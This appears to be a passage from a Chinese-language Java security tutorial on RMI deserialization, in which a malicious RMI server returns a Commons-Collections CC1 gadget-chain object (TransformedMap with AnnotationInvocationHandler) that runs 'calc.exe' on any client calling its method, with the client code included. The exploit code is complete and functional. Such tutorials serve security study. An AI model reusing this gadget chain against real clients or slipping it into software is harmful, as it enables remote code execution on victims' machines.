03. Server攻击Client

同样的,非

demo1

也是很简单的思路, Server远程方法返回值里面有一个Object类型参数.
实现如下:

public class userImpl extends UnicastRemoteObject implements userInterface {
    protected userImpl() throws RemoteException {
        super();
        System.out.println("userImpl Constructor called!");
    }
    @Override
    public Object hello() throws Exception {
        return getpayload();
    }
    public Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }
}

Client:

public class client {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            userInterface user = (userInterface) registry.lookup("user");
            System.out.println(user.hello());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}